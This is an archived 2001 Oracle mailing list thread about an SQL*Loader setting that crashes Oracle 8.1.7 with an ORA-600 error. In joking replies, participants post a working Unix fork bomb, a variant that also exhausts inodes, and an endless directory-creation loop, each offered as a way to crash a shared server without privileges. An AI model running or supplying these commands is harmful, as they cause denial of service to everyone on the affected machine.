Re: Cool way to crash an Oracle database, any time, any place

Ha!

This combination of great ideas is truly debased! ;)

Jared

On Thursday 10 May 2001 08:17, Norrell, Brian wrote:
> Chew up the inodes! Excellent. (Monty Burns "excellent" with the fingers
> twitching as opposed to the Bill and Ted "excellent" with the air guitar.)
>
> echo 'mkdir $$; cd $$' > /tmp/t.sh
> echo '/tmp/t.sh &' >> /tmp/t.sh
> echo '/tmp/t.sh &' >> /tmp/t.sh
> chmod 777 /tmp/t.sh
> /tmp/t.sh
>
> Your technological distinctiveness has been added to the collective...
>
> Brian Norrell
> Manager, MPI Development
> QuadraMed
> 511 E John Carpenter Frwy, Su 500
> Irving, TX 75062
> (972) 831-6600
>
>
> -----Original Message-----
> From: Jared Still [mailto:jkstill_at_cybcon.com]
> Sent: Wednesday, May 09, 2001 8:40 PM
> To: Multiple recipients of list ORACLE-L
> Subject: Re: Cool way to crash an Oracle database, any time, any place
>
>
>
> yeah? Well how do you like this?
>
> while :
> do
> mkdir ./t
> cd ./t
> done
>
> ;)
>
> Jared
>
> On Wednesday 09 May 2001 09:00, Norrell, Brian wrote:
> > You want to crash the server? On any Unix box, execute the following
> > four commands:
> >
> > echo './t.sh &' > t.sh
> > echo './t.sh &' >> t.sh
> > chmod 777 t.sh
> > ./t.sh
> >
> > Don't even need special privileges to ruin everyone's day...
> >
> > Brian Norrell
> > Manager, MPI Development
> > QuadraMed
> > 511 E John Carpenter Frwy, Su 500
> > Irving, TX 75062
> > (972) 831-6600
> >
> >
> > -----Original Message-----
> > Sent: Tuesday, May 08, 2001 11:23 AM
> > To: Multiple recipients of list ORACLE-L
> >
> >
> > Back a few years ago I remember being able to crash a NetWare server (4.x
>
> I
>
> > think) running an early version of Oracle7 just by running some
> > syntactically incorrect SQL. Yup, that not only crashed the database, but
> > also the server.
> >
> > Henry
> >
> > -----Original Message-----
> > Sent: Tuesday, May 08, 2001 9:37 AM
> > To: Multiple recipients of list ORACLE-L
> >
> >
> > Hi Jared,
> >
> > Nope, not direct mode. The table contains a couple of CLOB columns.
> >
> > Haven't heard back from Oracle yet, but you're right, it is kind of
> > scary. We were planning on using this environment for hosting some of our
> > more active web sites.
> >
> > --Walt
> >
> > -----Original Message-----
> > Sent: Monday, May 07, 2001 5:59 PM
> > To: ORACLE-L_at_fatcity.com; Weaver, Walt
> >
> >
> >
> > Walt,
> >
> > What's scary about this is not just that you've managed to crash
> > the database by very innocent means, but we don't know how else
> > this bug can be invoked. It could be something equally innocuous.
> >
> > Q: Are you loading in direct mode?
> >
> > Jared
> >
> > On Monday 07 May 2001 16:20, Weaver, Walt wrote:
> > > Just thought I'd share what I learned today with everyone. This is
>
> Oracle
>
> > > 8.1.7 on a VA Linux 4450, Linux Red Hat 6.2. I'm migrating customers
>
> from
>
> > > MySQL to Oracle, using Sqlloader to load the data into Oracle.
> > >
> > > In one table I have the following column: C$NOTES VARCHAR2(4000)
> > >
> > > In my Sqlloader script I have an entry: C$NOTES CHAR(4000)
> > >
> > > When I ran Sqlloader about 130 out of 35,000 rows were not loaded due
> > > to a "inserted value too large for column" error on C$NOTES.
> > >
> > > So, just for grins I changed the Sqlloader entry to C$NOTES
> > > CHAR(40000).
> > >
> > > When I run Sqlloader for the table with this value, it crashes the
> >
> > database
> >
> > > every time with an ORA-600 [4620] [] [] [] [] [] error. Every dang
> > > time. Pmon just gives up the ghost, man. Shuts the door and turns off
> > > the
> >
> > lights.
> >
> > > Dies a horrible death.
> > >
> > > Now, obviously I created this problem myself, but it seems to me that
> > > Oracle
> > >
> > > should be able to handle this a bit more gracefully than it does. :>)
> > >
> > > Anybody else ever see this? I've logged an iTar on MetaMidget to inform
> >
> > the
> >
> > > authorities of the problem. My cursory search on MetaMidget uncovered
> > > absolutely no evidenct that anyone knows about this.
> > >
> > > --Walt Weaver
> > > Bozeman, Montana

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Jared Still
  INET: jkstill_at_cybcon.com

Fat City Network Services    -- (858) 538-5051  FAX: (858) 538-5051
San Diego, California        -- Public Internet access / Mailing Lists
--------------------------------------------------------------------
To REMOVE yourself from this mailing list, send an E-Mail message
to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).